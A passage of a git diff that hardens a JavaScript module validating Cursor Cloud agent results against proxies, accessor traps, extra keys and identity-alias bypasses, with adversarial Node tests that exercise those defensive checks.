'repository_url', 'recorded.repository_url'); + if (typeof recordedRepoUrl === 'string' && git.repository_url !== undefined) { + const url = assertRepoUrl(recordedRepoUrl, 'recorded.repository_url'); assertExactIdentity( url, git.repository_url, 'repository_identity_mismatch', 'git_evidence.repository_url', 'repository', ); } - if (typeof recorded.starting_sha === 'string') { - const starting = assertCommit(recorded.starting_sha, 'recorded.starting_sha'); + const recordedStarting = optionalOwnScalar(recorded, 'starting_sha', 'recorded.starting_sha'); + if (typeof recordedStarting === 'string') { + const starting = assertCommit(recordedStarting, 'recorded.starting_sha'); if (git.starting_sha !== undefined) { assertExactIdentity( starting, git.starting_sha, 'base_identity_mismatch', @@ -938,29 +1231,35 @@ export function assertCursorCloudResultCorrelationV1(input) { 'Cursor Cloud merge-base identity did not match the recorded starting SHA or observed head.'); } } - if (typeof recorded.head_sha === 'string' && git.head_sha !== undefined) { - const head = assertCommit(recorded.head_sha, 'recorded.head_sha'); + const recordedHead = optionalOwnScalar(recorded, 'head_sha', 'recorded.head_sha'); + if (typeof recordedHead === 'string' && git.head_sha !== undefined) { + const head = assertCommit(recordedHead, 'recorded.head_sha'); assertExactIdentity(head, git.head_sha, 'head_identity_mismatch', 'git_evidence.head_sha', 'head'); } } return freezeData({ recorded: true, observed, git_evidence: git }); } -function parseOptions(input) { - assertPlainObject(input, 'invalid_type', 'options', 'The Cursor Cloud result source options'); - const keys = sortedCapturedKeys(input); - for (let index = 0; index < keys.length; index += 1) { - if (!capturedIncludes(CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS, keys[index])) { - failSource('unknown_key', `options.${keys[index]}`, - `options.${keys[index]} is not part of the closed result-source vocabulary.`); +function recordedCorrelationIdentity(identity) { + const recorded = {}; + for (let index = 0; index < CURSOR_CLOUD_RECORDED_IDENTITY_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_RECORDED_IDENTITY_KEYS[index]; + if (hasOwn(identity, key)) { + recorded[key] = ownDataValue(identity, key, `recorded.${key}`); } } + return recorded; +} + +function parseOptions(input) { + closedObject(input, CURSOR_CLOUD_RESULT_SOURCE_OPTION_KEYS, 'options', + 'The Cursor Cloud result source options'); const identity = parseIdentity(input); const observed = parseObserved(input); const providerReport = parseProviderReport(input); const gitEvidence = parseGitEvidence(input); assertCursorCloudResultCorrelationV1({ - recorded: identity, + recorded: recordedCorrelationIdentity(identity), observed, git_evidence: gitEvidence, }); @@ -1209,12 +1508,12 @@ export function projectCursorCloudGitEvidenceV1(git) { const projected = {}; if (hasOwn(git, 'branches')) { const branches = ownDataValue(git, 'branches', 'git_evidence.branches'); - if (!capturedIsArray(branches)) { - failSource('malformed_result', 'git_evidence.branches', - 'Independently observed Git branches must be a dense array.'); - } - if (branches.length > 0) { - Object.assign(projected, mapSdkBranchRecord(branches[0], 'git_evidence.branches[0]')); + const length = assertConcreteDenseDirectDataArray(branches, 'git_evidence.branches'); + if (length > 0) { + Object.assign(projected, mapSdkBranchRecord( + ownDataValue(branches, '0', 'git_evidence.branches[0]'), + 'git_evidence.branches[0]', + )); } } const typedInput = {}; @@ -1242,35 +1541,35 @@ export function projectCursorCloudProviderReportV1(result) { if (result === null || result === undefined) { return freezeData({ status: null, output: undefined, error: null, source_truncated: false }); } - if (typeof result !== 'object' || Array.isArray(result)) { - failSource('malformed_result', 'provider_report', - 'A Cursor Cloud provider report must be a plain result object.'); - } - if (IS_PROXY(result)) { - failSource('proxy_denied', 'provider_report', - 'The Cursor Cloud provider report is a live or revoked Proxy.'); - } + assertNotProxySurface( + result, + 'provider_report', + 'A Cursor Cloud provider report must be a plain result object.', + ); + closedObject(result, CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS, 'provider_report', + 'The Cursor Cloud provider report'); const projected = { - status: hasOwn(result, 'status') ? result.status : null, - output: hasOwn(result, 'result') ? result.result : (hasOwn(result, 'output') ? result.output : undefined), - error: hasOwn(result, 'error') ? result.error : null, - source_truncated: false, + status: hasOwn(result, 'status') ? ownScalar(result, 'status', 'provider_report.status') : null, + output: undefined, + error: null, + source_truncated: readTruncationAliases(result, 'provider_report'), }; - if (hasOwn(result, 'truncated')) { - const flagged = result.truncated; - if (flagged !== true && flagged !== false) { - failSource('invalid_type', 'provider_report.source_truncated', - 'Provider truncation must be an exact boolean when present.'); - } - projected.source_truncated = flagged === true; + if (hasOwn(result, 'result')) { + projected.output = cloneOwnedJson( + ownDataValue(result, 'result', 'provider_report.output'), + 'provider_report.output', + ); + } else if (hasOwn(result, 'output')) { + projected.output = cloneOwnedJson( + ownDataValue(result, 'output', 'provider_report.output'), + 'provider_report.output', + ); } - if (hasOwn(result, 'source_truncated')) { - const flagged = result.source_truncated; - if (flagged !== true && flagged !== false) { - failSource('invalid_type', 'provider_report.source_truncated', - 'Provider truncation must be an exact boolean when present.'); - } - projected.source_truncated = flagged === true; + if (hasOwn(result, 'error')) { + projected.error = cloneOwnedJson( + ownDataValue(result, 'error', 'provider_report.error'), + 'provider_report.error', + ); } if (projected.status !== null && !capturedIncludes(CURSOR_CLOUD_PROVIDER_REPORT_STATUSES, projected.status)) { failSource('invalid_format', 'provider_report.status', @@ -1279,28 +1578,54 @@ export function projectCursorCloudProviderReportV1(result) { return freezeData(projected); } +function ownedProviderReportInput(result) { + const projected = {}; + for (let index = 0; index < CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS[index]; + if (hasOwn(result, key)) { + projected[key] = ownDataValue(result, key, `provider_report.${key}`); + } + } + return projected; +} + export function projectCursorCloudResultSourcesV1(result) { - if (result === null || result === undefined || typeof result !== 'object' || Array.isArray(result)) { + if (result === null || result === undefined) { failSource('malformed_result', 'result', 'A Cursor Cloud result must be a plain object with distinct provider and Git sources.'); } - if (IS_PROXY(result)) { - failSource('proxy_denied', 'result', 'The Cursor Cloud result is a live or revoked Proxy.'); - } + assertNotProxySurface( + result, + 'result', + 'A Cursor Cloud result must be a plain object with distinct provider and Git sources.', + ); + closedObject(result, CURSOR_CLOUD_SDK_RESULT_KEYS, 'result', + 'A Cursor Cloud result'); const observed = {}; - if (hasOwn(result, 'id') && result.id !== undefined) { - observed.provider_run_id = assertTokenId(result.id, 'observed.provider_run_id', 'provider run'); + if (hasOwn(result, 'id')) { + observed.provider_run_id = assertTokenId( + ownScalar(result, 'id', 'observed.provider_run_id'), + 'observed.provider_run_id', 'provider run', + ); } - if (hasOwn(result, 'requestId') && result.requestId !== undefined) { - observed.request_id = assertTokenId(result.requestId, 'observed.request_id', 'request'); + if (hasOwn(result, 'requestId')) { + observed.request_id = assertTokenId( + ownScalar(result, 'requestId', 'observed.request_id'), + 'observed.request_id', 'request', + ); } - if (hasOwn(result, 'agentId') && result.agentId !== undefined) { - observed.agent_id = assertTokenId(result.agentId, 'observed.agent_id', 'agent'); + if (hasOwn(result, 'agentId')) { + observed.agent_id = assertTokenId( + ownScalar(result, 'agentId', 'observed.agent_id'), + 'observed.agent_id', 'agent', + ); } return freezeData({ observed: freezeData(observed), - provider_report: projectCursorCloudProviderReportV1(result), - git_evidence: projectCursorCloudGitEvidenceV1(hasOwn(result, 'git') ? result.git : null), + provider_report: projectCursorCloudProviderReportV1(ownedProviderReportInput(result)), + git_evidence: projectCursorCloudGitEvidenceV1( + hasOwn(result, 'git') ? ownDataValue(result, 'git', 'git') : null, + ), }); } @@ -1331,28 +1656,63 @@ export function contentFreeCloudResultSourceFailureV1(error) { } export function cursorCloudResultSourceIdentityFromTaskV1(task) { - if (task === null || typeof task !== 'object' || Array.isArray(task)) return null; - if (IS_PROXY(task)) return null; + if (task === null || (typeof task !== 'object' && typeof task !== 'function')) return null; + assertNotProxy(task, 'task'); + if (typeof task !== 'object' || capturedIsArray(task)) return null; if (!hasOwn(task, 'run_id') || !hasOwn(task, 'assignment_id') || !hasOwn(task, 'provider')) { return null; } - if (!hasOwn(task, 'model') || task.model === null || task.model === undefined) return null; - if (task.provider !== CURSOR_CLOUD_RESULT_SOURCE_PROVIDER) return null; + if (!hasOwn(task, 'model')) return null; + for (let index = 0; index < CURSOR_CLOUD_TASK_IDENTITY_KEYS.length; index += 1) { + const key = CURSOR_CLOUD_TASK_IDENTITY_KEYS[index]; + if (hasOwn(task, key)) optionalOwnScalar(task, key, `task.${key}`); + } + const model = optionalOwnScalar(task, 'model', 'task.model'); + if (model === null || model === undefined) return null; + const provider = optionalOwnScalar(task, 'provider', 'task.provider'); + if (provider !== CURSOR_CLOUD_RESULT_SOURCE_PROVIDER) return null; const identity = { - run_id: task.run_id, - assignment_id: task.assignment_id, - provider: task.provider, - model: task.model, + run_id: optionalOwnScalar(task, 'run_id', 'task.run_id'), + assignment_id: optionalOwnScalar(task, 'assignment_id', 'task.assignment_id'), + provider, + model, }; - if (hasOwn(task, 'child_envelope_digest')) identity.child_envelope_digest = task.child_envelope_digest; - if (hasOwn(task, 'run_idempotency_key')) identity.request_id = task.run_idempotency_key; - if (hasOwn(task, 'provider_agent_id')) identity.agent_id = task.provider_agent_id; - if (hasOwn(task, 'provider_run_id')) identity.provider_run_id = task.provider_run_id; - if (hasOwn(task, 'provider_repo_url')) identity.repository_url = task.provider_repo_url; - if (hasOwn(task, 'provider_repo_identity')) identity.repository_identity = task.provider_repo_identity; - if (hasOwn(task, 'provider_branch')) identity.branch = task.provider_branch; - if (hasOwn(task, 'starting_ref')) identity.starting_sha = task.starting_ref; - if (hasOwn(task, 'head_sha')) identity.head_sha = task.head_sha; + if (hasOwn(task, 'child_envelope_digest')) { + const digest = optionalOwnScalar(task, 'child_envelope_digest', 'task.child_envelope_digest'); + if (digest !== undefined) identity.child_envelope_digest = digest; + } + if (hasOwn(task, 'run_idempotency_key')) { + const requestId = optionalOwnScalar(task, 'run_idempotency_key', 'task.run_idempotency_key'); + if (requestId !== undefined) identity.request_id = requestId; + } + if (hasOwn(task, 'provider_agent_id')) { + const agentId = optionalOwnScalar(task, 'provider_agent_id', 'task.provider_agent_id'); + if (agentId !== undefined) identity.agent_id = agentId; + } + if (hasOwn(task, 'provider_run_id')) { + const providerRunId = optionalOwnScalar(task, 'provider_run_id', 'task.provider_run_id'); + if (providerRunId !== undefined) identity.provider_run_id = providerRunId; + } + if (hasOwn(task, 'provider_repo_url')) { + const url = optionalOwnScalar(task, 'provider_repo_url', 'task.provider_repo_url'); + if (url !== undefined) identity.repository_url = url; + } + if (hasOwn(task, 'provider_repo_identity')) { + const repo = optionalOwnScalar(task, 'provider_repo_identity', 'task.provider_repo_identity'); + if (repo !== undefined) identity.repository_identity = repo; + } + if (hasOwn(task, 'provider_branch')) { + const branch = optionalOwnScalar(task, 'provider_branch', 'task.provider_branch'); + if (branch !== undefined) identity.branch = branch; + } + if (hasOwn(task, 'starting_ref')) { + const starting = optionalOwnScalar(task, 'starting_ref', 'task.starting_ref'); + if (starting !== undefined) identity.starting_sha = starting; + } + if (hasOwn(task, 'head_sha')) { + const head = optionalOwnScalar(task, 'head_sha', 'task.head_sha'); + if (head !== undefined) identity.head_sha = head; + } return freezeData(identity); } @@ -1409,16 +1769,20 @@ export async function materializeCursorCloudResultSourceV1(store, input) { let gitSlot = emptySlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, gitFields); if (gitEvidence !== null) { const record = gitStoreRecord(gitEvidence); - const gitBytes = encodeJsonValue(record, 'git_evidence'); - const gitPath = cursorCloudGitEvidencePathV1(identity); - const publishedGit = await publishSource( - store, identity, CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, - gitPath, 'application/json', gitBytes, - gitEvidence.source_truncated === true, - ); - gitSlot = publishedGit == null - ? emptySlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, gitFields) - : publishedSlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, publishedGit, gitFields); + if (sortedCapturedKeys(record).length === 0) { + gitSlot = emptySlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, gitFields); + } else { + const gitBytes = encodeJsonValue(record, 'git_evidence'); + const gitPath = cursorCloudGitEvidencePathV1(identity); + const publishedGit = await publishSource( + store, identity, CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, + gitPath, 'application/json', gitBytes, + gitEvidence.source_truncated === true, + ); + gitSlot = publishedGit == null + ? emptySlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, gitFields) + : publishedSlot('git_evidence', CURSOR_CLOUD_GIT_EVIDENCE_ARTIFACT_KIND, publishedGit, gitFields); + } } return freezeData({ @@ -1461,3 +1825,8 @@ capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_FAILURE_PATH_ALLOWLIST); capturedFreeze(CURSOR_CLOUD_PROVIDER_REPORT_INPUT_KEYS); capturedFreeze(CURSOR_CLOUD_GIT_EVIDENCE_INPUT_KEYS); capturedFreeze(CURSOR_CLOUD_RESULT_SOURCE_OBSERVED_KEYS); +capturedFreeze(CURSOR_CLOUD_SDK_PROVIDER_REPORT_KEYS); +capturedFreeze(CURSOR_CLOUD_SDK_RESULT_KEYS); +capturedFreeze(CURSOR_CLOUD_RESULT_CORRELATION_KEYS); +capturedFreeze(CURSOR_CLOUD_TASK_IDENTITY_KEYS); +capturedFreeze(CURSOR_CLOUD_RECORDED_IDENTITY_KEYS); diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source-adversarial.test.mjs index 28b5a0f..2a2e26e 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source-adversarial.test.mjs @@ -9,8 +9,11 @@ import { CURSOR_CLOUD_RESULT_SOURCE_SCHEMA_ID, assertCursorCloudResultCorrelationV1, contentFreeCloudResultSourceFailureV1, + cursorCloudResultSourceIdentityFromTaskV1, isCursorCloudResultIdentityMismatchV1, materializeCursorCloudResultSourceV1, + projectCursorCloudGitEvidenceV1, + projectCursorCloudProviderReportV1, projectCursorCloudResultSourcesV1, } from '../mcp/v3/cursor-cloud-result-source.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; @@ -24,6 +27,7 @@ import { HOSTILE_PR_URL, HOSTILE_REPO_URL, HOSTILE_SHA, + MODEL, PR_URL, PROVIDER_RUN_ID, REPO_URL, @@ -237,3 +241,499 @@ test('SDK projector refuses to treat provider output Git claims as observed iden assert.equal(projected.provider_report.output.branch, HOSTILE_BRANCH); assert.equal(projected.provider_report.output.head_sha, HOSTILE_SHA); }); + +test('empty Git evidence {} stays unpublished and does not invent a JSON artifact', async () => { + await withStore(async (store) => { + const receipt = await materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: {}, + }); + assert.equal(receipt.git_evidence.published, false); + assert.equal(receipt.git_evidence.empty, true); + assert.equal(receipt.git_evidence.source_byte_length, 0); + assert.equal(receipt.git_evidence.raw_ref, null); + assert.equal(receipt.git_evidence.sanitized_ref, null); + assert.equal(receipt.published, false); + }); +}); + +test('SDK projectors reject accessors, proxies, and extra keys without invoking traps', async () => { + const trap = { ran: 0 }; + const accessorResult = { status: 'finished' }; + Object.defineProperty(accessorResult, 'result', { + enumerable: true, + get() { + trap.ran += 1; + throw new Error(`must not read ${SECRET}`); + }, + }); + const accessor = await expectCode( + () => projectCursorCloudResultSourcesV1(accessorResult), + 'accessor_property_denied', + 'provider_report.result', + ); + assert.equal(trap.ran, 0); + assert.equal(String(accessor.message).includes(SECRET), false); + + const live = countingProxy({ + id: PROVIDER_RUN_ID, + status: 'finished', + result: 'done', + }); + const proxied = await expectCode( + () => projectCursorCloudResultSourcesV1(live.proxy), + 'proxy_denied', + 'result', + ); + assert.ok(trapTotal(live.counts) <= 2); + assert.equal(String(proxied.message).includes(SECRET), false); + + const { proxy, revoke } = Proxy.revocable({ status: 'finished', result: 'done' }, { + get() { throw new Error('revoked getter ran'); }, + }); + revoke(); + try { + projectCursorCloudResultSourcesV1(proxy); + assert.fail('expected a typed proxy_denied failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(error.code, 'proxy_denied'); + assert.equal(error instanceof TypeError, false); + } + + await expectCode( + () => projectCursorCloudResultSourcesV1({ + status: 'finished', + result: 'done', + extra: true, + }), + 'unknown_key', + 'result.extra', + ); + + const symbolic = { status: 'finished', result: 'done' }; + symbolic[Symbol('hidden')] = SECRET; + await expectCode( + () => projectCursorCloudResultSourcesV1(symbolic), + 'unknown_key', + 'result[symbol]', + ); + + const hidden = { status: 'finished', result: 'done' }; + Object.defineProperty(hidden, 'hidden', { value: SECRET, enumerable: false }); + await expectCode( + () => projectCursorCloudProviderReportV1(hidden), + 'unknown_key', + 'provider_report.hidden', + ); + const gitHidden = { branch: BRANCH }; + Object.defineProperty(gitHidden, 'hidden', { value: SECRET, enumerable: false }); + await expectCode( + () => projectCursorCloudGitEvidenceV1(gitHidden), + 'unknown_key', + 'git_evidence.hidden', + ); +}); + +test('SDK projectors copy caller-owned output and never freeze the input', () => { + const output = { text: 'hello', nested: { n: 1 } }; + const error = { message: 'bounded' }; + const input = { status: 'finished', result: output, error }; + const projected = projectCursorCloudProviderReportV1(input); + assert.notEqual(projected.output, output); + assert.notEqual(projected.error, error); + assert.notEqual(projected, input); + assert.equal(Object.isFrozen(input), false); + assert.equal(Object.isFrozen(output), false); + assert.equal(Object.isFrozen(error), false); + assert.equal(Object.isFrozen(projected), true); + assert.equal(Object.isFrozen(projected.output), true); + output.text = 'mutated'; + output.nested.n = 2; + error.message = 'mutated'; + assert.equal(projected.output.text, 'hello'); + assert.equal(projected.output.nested.n, 1); + assert.equal(projected.error.message, 'bounded'); +}); + +test('nested revoked provider output and error fail as typed proxy_denied', () => { + const revokedOutput = Proxy.revocable({ text: 'x' }, { + get() { throw new Error('revoked output getter ran'); }, + }); + revokedOutput.revoke(); + try { + projectCursorCloudProviderReportV1({ status: 'finished', result: revokedOutput.proxy }); + assert.fail('expected a typed proxy_denied failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(error.code, 'proxy_denied'); + assert.notEqual(error.constructor, TypeError); + } + + const revokedError = Proxy.revocable({ message: 'x' }, { + get() { throw new Error('revoked error getter ran'); }, + }); + revokedError.revoke(); + try { + projectCursorCloudProviderReportV1({ status: 'failed', error: revokedError.proxy }); + assert.fail('expected a typed proxy_denied failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(error.code, 'proxy_denied'); + } +}); + +test('exported correlation and task identity helpers are descriptor-safe', async () => { + const trap = { ran: 0 }; + const recorded = { request_id: REQUEST_ID, branch: BRANCH }; + Object.defineProperty(recorded, 'run_id', { + enumerable: true, + get() { + trap.ran += 1; + throw new Error(`must not read ${SECRET}`); + }, + }); + const correlation = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded, + observed: { request_id: REQUEST_ID }, + }), + 'accessor_property_denied', + 'recorded.run_id', + ); + assert.equal(trap.ran, 0); + assert.equal(String(correlation.message).includes(SECRET), false); + + const { proxy, revoke } = Proxy.revocable({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + provider: 'cursor-cloud', + model: MODEL, + }, { get() { throw new Error('revoked task getter ran'); } }); + revoke(); + try { + cursorCloudResultSourceIdentityFromTaskV1(proxy); + assert.fail('expected a typed proxy_denied failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(error.code, 'proxy_denied'); + } + + const taskTrap = { ran: 0 }; + const task = { + id: 'cloud-task', + role: 'review', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + provider: 'cursor-cloud', + }; + Object.defineProperty(task, 'model', { + enumerable: true, + get() { + taskTrap.ran += 1; + return MODEL; + }, + }); + const identity = await expectCode( + () => cursorCloudResultSourceIdentityFromTaskV1(task), + 'accessor_property_denied', + 'task.model', + ); + assert.equal(taskTrap.ran, 0); + assert.equal(String(identity.message).includes(MODEL), false); + + const bound = cursorCloudResultSourceIdentityFromTaskV1({ + id: 'cloud-task', + role: 'review', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + provider: 'cursor-cloud', + model: MODEL, + provider_branch: BRANCH, + }); + assert.equal(bound.run_id, RUN_ID); + assert.equal(bound.model, MODEL); + assert.equal(bound.branch, BRANCH); + assert.equal(Object.isFrozen(bound), true); +}); + +test('conflicting truncated aliases fail closed and matching aliases normalize', async () => { + await expectCode( + () => projectCursorCloudProviderReportV1({ + status: 'finished', + result: 'done', + truncated: true, + source_truncated: false, + }), + 'invalid_format', + 'provider_report.source_truncated', + ); + await expectCode( + () => projectCursorCloudResultSourcesV1({ + status: 'finished', + result: 'done', + truncated: false, + source_truncated: true, + }), + 'invalid_format', + 'provider_report.source_truncated', + ); + + const matchedTrue = projectCursorCloudProviderReportV1({ + status: 'finished', + result: 'done', + truncated: true, + source_truncated: true, + }); + assert.equal(matchedTrue.source_truncated, true); + const matchedFalse = projectCursorCloudResultSourcesV1({ + status: 'finished', + result: 'done', + truncated: false, + source_truncated: false, + }); + assert.equal(matchedFalse.provider_report.source_truncated, false); + const truncatedOnly = projectCursorCloudProviderReportV1({ + status: 'finished', + truncated: true, + }); + assert.equal(truncatedOnly.source_truncated, true); +}); + +function sdkBranch(overrides = {}) { + return { repoUrl: REPO_URL, branch: BRANCH, prUrl: PR_URL, ...overrides }; +} + +test('SDK git.branches rejects proxies, accessors, extras, and exotic arrays without traps', async () => { + const live = countingProxy([sdkBranch()]); + const liveError = await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: live.proxy }), + 'proxy_denied', + 'git_evidence.branches', + ); + assert.equal(trapTotal(live.counts), 0); + assert.equal(liveError instanceof TypeError, false); + + const revoked = Proxy.revocable([sdkBranch()], { + get() { throw new Error(`revoked getter ran ${SECRET}`); }, + }); + revoked.revoke(); + try { + projectCursorCloudGitEvidenceV1({ branches: revoked.proxy }); + assert.fail('expected a typed proxy_denied failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(error.code, 'proxy_denied'); + assert.equal(error.path, 'git_evidence.branches'); + assert.equal(error instanceof TypeError, false); + assert.equal(String(error.message).includes(SECRET), false); + assert.equal(String(error.message).includes('revoked getter ran'), false); + } + + const indexTrap = { ran: 0 }; + const indexAccessor = []; + Object.defineProperty(indexAccessor, '0', { + enumerable: true, + configurable: true, + get() { + indexTrap.ran += 1; + throw new Error(`must not read ${SECRET}`); + }, + }); + const accessorError = await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: indexAccessor }), + 'accessor_property_denied', + 'git_evidence.branches[0]', + ); + assert.equal(indexTrap.ran, 0); + assert.equal(String(accessorError.message).includes(SECRET), false); + + const ordinaryExtra = [sdkBranch()]; + ordinaryExtra.extra = SECRET; + const extraError = await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: ordinaryExtra }), + 'unknown_key', + 'git_evidence.branches', + ); + assert.equal(String(extraError.message).includes(SECRET), false); + assert.equal(String(extraError.path).includes(SECRET), false); + + const symbolic = [sdkBranch()]; + const hiddenSymbol = Symbol(SECRET); + symbolic[hiddenSymbol] = SECRET; + const symbolError = await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: symbolic }), + 'unknown_key', + 'git_evidence.branches[symbol]', + ); + assert.equal(String(symbolError.message).includes(SECRET), false); + assert.equal(String(symbolError.path).includes(SECRET), false); + + const hiddenExtra = [sdkBranch()]; + Object.defineProperty(hiddenExtra, 'hidden', { value: SECRET, enumerable: false }); + const hiddenError = await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: hiddenExtra }), + 'non_enumerable_property_denied', + 'git_evidence.branches', + ); + assert.equal(String(hiddenError.message).includes(SECRET), false); + + const sparse = []; + sparse[1] = sdkBranch(); + await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: sparse }), + 'malformed_result', + 'git_evidence.branches', + ); + + class HostileArray extends Array {} + await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: HostileArray.from([sdkBranch()]) }), + 'malformed_result', + 'git_evidence.branches', + ); + const exotic = [sdkBranch()]; + Object.setPrototypeOf(exotic, Object.prototype); + await expectCode( + () => projectCursorCloudGitEvidenceV1({ branches: exotic }), + 'malformed_result', + 'git_evidence.branches', + ); +}); + +test('valid dense Git branch arrays keep empty, one-entry, and first-branch projection', () => { + assert.equal(projectCursorCloudGitEvidenceV1({ branches: [] }), null); + + const one = projectCursorCloudGitEvidenceV1({ branches: [sdkBranch()] }); + assert.equal(one.branch, BRANCH); + assert.equal(one.repository_url, REPO_URL); + assert.equal(one.pr_url, PR_URL); + + const multi = projectCursorCloudGitEvidenceV1({ + branches: [ + sdkBranch(), + sdkBranch({ repoUrl: HOSTILE_REPO_URL, branch: HOSTILE_BRANCH, prUrl: HOSTILE_PR_URL }), + ], + }); + assert.equal(multi.branch, BRANCH); + assert.equal(multi.repository_url, REPO_URL); + assert.equal(multi.pr_url, PR_URL); + assert.equal(JSON.stringify(multi).includes(HOSTILE_BRANCH), false); + assert.equal(JSON.stringify(multi).includes(HOSTILE_REPO_URL), false); + + const nullPrototype = [sdkBranch()]; + Object.setPrototypeOf(nullPrototype, null); + const fromNull = projectCursorCloudGitEvidenceV1({ branches: nullPrototype }); + assert.equal(fromNull.branch, BRANCH); + assert.equal(fromNull.repository_url, REPO_URL); +}); + +test('correlation enforces recorded identity keys and closes mismatch-bypass aliases', async () => { + const ordinary = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { request_id: REQUEST_ID, extra: true }, + observed: { request_id: REQUEST_ID }, + }), + 'unknown_key', + 'recorded.extra', + ); + assert.equal(String(ordinary.message).includes(SECRET), false); + + const symbolic = { request_id: REQUEST_ID, branch: BRANCH }; + symbolic[Symbol(SECRET)] = SECRET; + const symbolError = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: symbolic, + observed: { request_id: REQUEST_ID }, + }), + 'unknown_key', + 'recorded[symbol]', + ); + assert.equal(String(symbolError.message).includes(SECRET), false); + assert.equal(String(symbolError.path).includes(SECRET), false); + + const hidden = { request_id: REQUEST_ID }; + Object.defineProperty(hidden, 'hidden', { value: SECRET, enumerable: false }); + const hiddenError = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: hidden, + observed: { request_id: REQUEST_ID }, + }), + 'unknown_key', + 'recorded.hidden', + ); + assert.equal(String(hiddenError.message).includes(SECRET), false); + + const trap = { ran: 0 }; + const accessor = { request_id: REQUEST_ID }; + Object.defineProperty(accessor, 'extra', { + enumerable: true, + get() { + trap.ran += 1; + throw new Error(`must not read ${SECRET}`); + }, + }); + const accessorError = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: accessor, + observed: { request_id: REQUEST_ID }, + }), + 'unknown_key', + 'recorded.extra', + ); + assert.equal(trap.ran, 0); + assert.equal(String(accessorError.message).includes(SECRET), false); + + const requestBypass = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { requestId: REQUEST_ID, branch: BRANCH, provider_run_id: PROVIDER_RUN_ID }, + observed: { request_id: 'other-request:run:1' }, + git_evidence: gitEvidenceFor(), + }), + 'unknown_key', + 'recorded.requestId', + ); + assert.equal(String(requestBypass.message).includes(REQUEST_ID), false); + assert.equal(String(requestBypass.message).includes('other-request:run:1'), false); + + const matchingRequestAlias = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { requestId: REQUEST_ID }, + observed: { request_id: REQUEST_ID }, + }), + 'unknown_key', + 'recorded.requestId', + ); + assert.equal(String(matchingRequestAlias.message).includes(REQUEST_ID), false); + + const branchBypass = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { branch_name: BRANCH }, + git_evidence: gitEvidenceFor({ branch: HOSTILE_BRANCH }), + }), + 'unknown_key', + 'recorded.branch_name', + ); + assert.equal(String(branchBypass.message).includes(HOSTILE_BRANCH), false); + assert.equal(String(branchBypass.message).includes(BRANCH), false); + + const headBypass = await expectCode( + () => assertCursorCloudResultCorrelationV1({ + recorded: { headSha: HEAD_SHA }, + git_evidence: gitEvidenceFor({ head_sha: HOSTILE_SHA }), + }), + 'unknown_key', + 'recorded.headSha', + ); + assert.equal(String(headBypass.message).includes(HOSTILE_SHA), false); + assert.equal(String(headBypass.message).includes(HEAD_SHA), false); + + const bound = assertCursorCloudResultCorrelationV1({ + recorded: { request_id: REQUEST_ID, branch: BRANCH, provider_run_id: PROVIDER_RUN_ID }, + observed: { request_id: REQUEST_ID }, + git_evidence: gitEvidenceFor(), + }); + assert.equal(bound.recorded, true); + assert.equal(bound.observed.request_id, REQUEST_ID); + assert.equal(bound.git_evidence.branch, BRANCH); +}); diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs index b109265..f21fcb4 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-result-source.test.mjs @@ -306,6 +306,35 @@ test('provider and Git upstream truncation flags are independent', async () => { }); }); +test('explicit empty Git evidence stays unpublished and does not invent bytes', async () => { + await withStore(async (store) => { + const emptyGit = await materializeCursorCloudResultSourceV1(store, { + ...identityFor(), + git_evidence: {}, + }); + assertReceiptShape(emptyGit); + assert.equal(emptyGit.git_evidence.published, false); + assert.equal(emptyGit.git_evidence.empty, true); + 